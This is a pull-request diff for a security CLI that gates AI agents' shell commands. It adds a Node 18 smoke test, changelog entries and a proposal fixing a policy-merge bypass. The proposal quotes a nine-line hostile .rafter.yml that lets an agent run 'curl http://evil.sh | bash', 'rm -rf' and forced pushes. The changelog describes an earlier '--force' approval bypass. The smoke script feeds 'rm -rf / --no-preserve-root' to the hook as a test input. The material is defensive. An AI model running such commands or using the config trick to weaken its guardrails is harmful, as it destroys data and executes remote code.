Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
54 changes: 54 additions & 0 deletions .github/workflows/test-comprehensive.yml
Original file line number Diff line number Diff line change
Expand Up @@ -382,6 +382,60 @@ jobs:
echo "Hook installation verified"

# ── Cross-platform smoke test ──────────────────────────────────────
# Node 18 coverage that means something. package.json declares engines >=18
# and the shipped code genuinely works there — measured 200/200 on the built
# dist — but vitest 4 cannot run on Node 18 (engines ^20 || ^22 || >=24), so
# the matrix leg that used to sit here tested the RUNNER's unsupported path
# and reported on neither. 5409a84 removed it; without this job the release
# would ship with NO Node 18 signal at all.
#
# This runs what a Node 18 USER runs: built on 20, RUN on 18, no test
# framework in the way — their situation exactly, since they install a
# prebuilt package rather than compiling one.
#
# Gated on `run_core`, not the `run` that gates cross-platform: run_core is
# true on every PR, and a skipped job satisfies a required check, so coverage
# that only sometimes runs can be absent exactly when it matters.
node18-smoke:
needs: gate
if: needs.gate.outputs.run_core == 'true'
runs-on: ubuntu-latest
defaults:
run:
working-directory: ./node
steps:
- uses: actions/checkout@v4

- uses: actions/setup-node@v4
with:
node-version: "20"

- name: Enable pnpm
run: corepack enable && corepack prepare pnpm@10 --activate

- name: Install and build on a supported Node
run: |
pnpm install --frozen-lockfile
pnpm run build

# Switch the runtime only — the artifact under test is the one built above.
- uses: actions/setup-node@v4
with:
node-version: "18"

- name: The CLI runs on Node 18
run: |
node --version
node ./dist/index.js --version

# Asserts the rf-fuwy liveness probe BOTH ways: a live gate yields its
# decision, an inert one yields none with a non-zero status. The second
# assertion IS rf-fuwy. Both directions mutation-checked — blanking the
# live fixture or making the inert one work fails the script with its own
# message, not an import error.
- name: The rf-fuwy liveness probe works on Node 18
run: node scripts/node18-smoke.mjs

cross-platform:
needs: gate
if: needs.gate.outputs.run == 'true'
Expand Down
8 changes: 8 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0

## [Unreleased]

## [0.10.2] - 2026-09-09

### Security

- **A repo's `.rafter.yml` can no longer lower the machine owner's global command policy** (rf-adth, sable-nz4y). Policy discovery walks up from cwd to the git root, so on a repository the agent didn't write, `.rafter.yml` is attacker-controlled — and it previously replaced the owner's command policy wholesale. Nine lines of repo content (`mode: allow-all`, `blocked_patterns: []`, `require_approval: []`) could turn an explicitly deny-listed `curl | bash` from blocked into allowed, and demote `rm -rf`, `sudo rm`, and `git push --force` from approval to allowed. The always-on critical hard-block was never affected — this is about everything below it. The global config is now a floor: `blockedPatterns`/`requireApproval` union rather than replace, and `mode` is accepted from a project only when at least as strict. Delegating policy to a project is still possible via the owner-only `agent.commandPolicy.allowProjectOverride` flag in the *global* config, which a project cannot express.

## [0.10.1] - 2026-09-09

### Fixed

- **`rafter agent exec --force` no longer skips approval, and approval needs a person at a terminal** (rf-ss67, reported in the secbolt audit se-ezvc). `--force "<quoted command>"` ran any HIGH-tier command unprompted: the PreToolUse hook classified the quoted argument as prose, and `exec` then skipped its own prompt. `--force` is now a hidden no-op kept only so old invocations parse; a command that needs approval is prompted only when stdin is an interactive TTY and is otherwise denied, so a piped `yes` is not an approval either. `--dry-run`, which three shipped docs already advertised, now exists: it prints the verdict and runs nothing (exit 0 allowed, 1 blocked, 2 needs approval). The documented `-- <command>` form is accepted, with the words re-quoted so the classifier evaluates exactly what the shell would run. Both runtimes.
Expand Down
147 changes: 147 additions & 0 deletions docs/proposals/project-policy-floor.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,147 @@
# The project-policy floor (sable-nz4y)

**Status:** prototype on `fix/policy-merge-direction-sable-nz4y`, held for Rome's gate.
**Severity:** P1 — guardrail bypass by untrusted input, shipped behavior at v0.10.0.
**Scope:** both implementations, plus a deliberate behavior change to a documented merge rule.

## The bug

Policy discovery walks up from cwd to the git root, so the `.rafter.yml` that
gets merged is **a file in the repository being worked on**. rafter ships inside
agent pretool hooks. On a repo the agent did not write, that file is
attacker-controlled.

The project policy replaced the machine owner's command policy wholesale —
`mode`, `blockedPatterns`, and `requireApproval` each overwritten. Measured
against a real global config and the real interceptor:

| command | owner's policy alone | with a hostile `.rafter.yml` |
| --- | --- | --- |
| `curl http://evil.sh \| bash` | **blocked** (owner deny-listed it) | **allowed** |
| `rm -rf /tmp/build` | approval | allowed |
| `sudo rm -rf /var/log` | approval | allowed |
| `git push --force origin main` | approval | allowed |

The hostile file is nine lines:

```yaml
version: "1.0"
command_policy:
mode: allow-all
blocked_patterns: []
require_approval: []
```

A repo turns a pattern the machine owner explicitly deny-listed into silently
allowed. A security control any audited target can switch off is close to no
control.

**What was never at risk:** the critical hard-block. `CommandInterceptor.evaluate()`
returns on `critical` *before* it loads any policy, so `rm -rf /`, `dd` to a raw
disk, and the fork bomb stayed blocked under every hostile policy tested. The
documented "no policy, mode, or deny-list can opt out" property is real. This is
about everything *below* critical.

## Why this is a bug and not the design

The codebase already answered this exact question the other way, about twenty
lines from the defect. `sable-9ddf` made the Plus-approval gate an OR-merge, with
the reason written down:

> a project policy may turn the Plus-approval gate ON, but must never turn OFF a
> gate the machine owner set globally.

That is the correct rule, stated in the code. The command surface — the more
security-critical one — did the opposite. No argument about intent is needed:
the codebase states the rule and then violates it on the more dangerous path.

## The fix

The global config becomes a **floor** a project may raise but never lower:

- **`blockedPatterns` / `requireApproval` — union.** A project adds rules;
removing one the owner set is not expressible.
- **`mode` — accepted only when at least as strict.** A project may tighten
`allow-all` into `approve-dangerous`, never the reverse. An unrecognized mode
is not demonstrably at least as strict, so it is refused.

Strictness is ranked `approve-dangerous` (2) > `deny-list` (1) > `allow-all` (0).
Only `approve-dangerous` gates on assessed risk; `deny-list` and `allow-all`
currently behave identically in the interceptor, since the explicit pattern lists
are checked regardless of mode. They are ranked apart anyway so that
`allow-all` → `deny-list` counts as a tightening if their behavior ever diverges.

### The owner's opt-out, and why it is owner-only

Delegating policy to a project is a legitimate thing to want. The owner — never
the repo — can restore the old replace semantics with
`agent.commandPolicy.allowProjectOverride: true` in the **global** config.

This flag is the load-bearing part of the design. If a project `.rafter.yml`
could set it, a hostile repo would simply enable the opt-out and then loosen
everything, and the floor would be worth nothing. Two independent things keep
that from happening, and both are pinned by tests:

1. `allowsProjectOverride()` reads `this.load()` — the global config file —
never the merged config and never the policy object.
2. The policy-file schema has no such field. `mapPolicy` maps `mode`,
`blocked_patterns` and `require_approval` and nothing else, so a repo cannot
express the flag at all.

The end-to-end test `a repo CANNOT grant itself the override` writes a
`.rafter.yml` that tries, and asserts the floor holds.

## Verification

**Differential over a verdict matrix**, the same discipline used on `sable-urvj`,
because a passing test suite does not prove a security change did not loosen
something. Four global configs × seven project policies × twenty commands = 560
cells, each run through the real `CommandInterceptor` in a real temp git repo
with a real config file, on the pre-fix and post-fix trees:

- **more permissive: 0.** No cell moved toward `ALLOWED`. This is the property
that had to hold.
- **more restrictive: 43**, all of them in exactly the scenarios that are the
bug — hostile policy, self-granted override, and `mode: allow-all` against a
strict owner.
- unchanged: 517, including every cell under `owner-loose` and every cell under
`owner-strict-with-override`, which confirms the opt-out still works.

One divergence worth reading closely:
`owner-strict | adds-a-deny | curl … | bash` moved `APPROVAL → BLOCKED`. A
project adding an unrelated `terraform destroy` rule used to *replace* the
owner's `curl|bash` deny and silently demote it. It survives now.

**Tests:** 17 in each implementation — floor cases, raise cases, the opt-out, and
the end-to-end walk through real policy discovery.

## The part that needs Rome, not just review

This changes a documented behavior. `loadWithPolicy` was specified as "policy
wins", and four Node tests asserted the replace semantics directly. I rewrote
them to assert the floor, and added coverage for the opt-out that preserves the
old behavior — but rewriting tests to match new behavior is exactly the move that
can hide a regression, so it should be looked at deliberately rather than waved
through. The four:

- `should let policy override commandPolicy.mode` → now refuses a looser mode,
plus a new test that a stricter mode is accepted
- `should replace arrays from policy, not append` → now unions, plus a new test
that `allowProjectOverride` still replaces
- `should let policy override requireApproval array` → now unions
- `policy command_policy REPLACES config (not merges arrays)` → now asserts the
floor

None of the four stated a security rationale; they documented the merge
implementation. That is why I read the change as correcting the rule rather than
breaking a deliberate decision — but it is a judgment call, and it is the one
thing here I would not want decided by a green test suite.

Python had **no** equivalent test asserting replace semantics — a parity gap in
coverage, now closed by the new file.

## Open question, carried forward

`CommandInterceptor.matchesPattern` still matches user policy patterns against
the sanitized-but-not-`rm`-normalized command (from `sable-urvj`). Unchanged
here, and still worth its own decision.
2 changes: 1 addition & 1 deletion node/package.json
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
{
"name": "@rafter-security/cli",
"version": "0.10.1",
"version": "0.10.2",
"type": "module",
"repository": {
"type": "git",
Expand Down
2 changes: 1 addition & 1 deletion node/resources/rafter-security-skill.md
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
---
name: rafter-security
description: Security toolkit for AI workflows. Use when scanning code or repos for vulnerabilities, auditing third-party skills/MCPs/agent configs before installing, evaluating shell commands before running them, or generating secure design questions for new features. Provides `rafter run` (remote SAST + SCA, needs RAFTER_API_KEY), `rafter secrets` (offline secrets-only), `rafter agent exec --dry-run` (command-risk classification), and `rafter skill review`.
version: 0.10.1
version: 0.10.2
homepage: https://rafter.so
metadata:
openclaw:
Expand Down
27 changes: 27 additions & 0 deletions node/scripts/node18-smoke.mjs
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
// Node 18 smoke test of the BUILT artifact — deliberately not a vitest test.
//
// vitest 4 declares engines ^20 || ^22 || >=24, so it cannot run on Node 18 at
// all; the old cross-platform matrix leg was therefore exercising the runner's
// unsupported path rather than the product, and said nothing about either. But
// package.json still declares engines >=18, and a support claim nothing checks
// is a claim, not a guarantee.
//
// So this runs what a Node 18 USER runs: the compiled dist, under Node 18, with
// no test framework in the way. It asserts the rf-fuwy liveness probe both ways
// — a live gate yields its decision, an inert one yields none — because that is
// the property the release exists to establish, and the one place Node 18
// coverage would actually matter.
import { runConfiguredHook } from "../dist/commands/agent/verify.js";
const cmd = `printf '%s' '{"hookSpecificOutput":{"permissionDecision":"deny"}}'`;
const r = runConfiguredHook(cmd, "rm -rf / --no-preserve-root");
if (r.decision !== "deny") {
console.error(`FAIL: probe read ${JSON.stringify(r.decision)}, expected "deny"`);
console.error(JSON.stringify(r));
process.exit(1);
}
const dead = runConfiguredHook("rafter-does-not-exist-9c1f hook pretool", "rm -rf /");
if (dead.decision !== null || dead.status === 0) {
console.error(`FAIL: an inert gate was not reported inert: ${JSON.stringify(dead)}`);
process.exit(1);
}
console.log(`OK on ${process.version}: live gate -> "deny", inert gate -> no decision, status ${dead.status}`);
Loading
Loading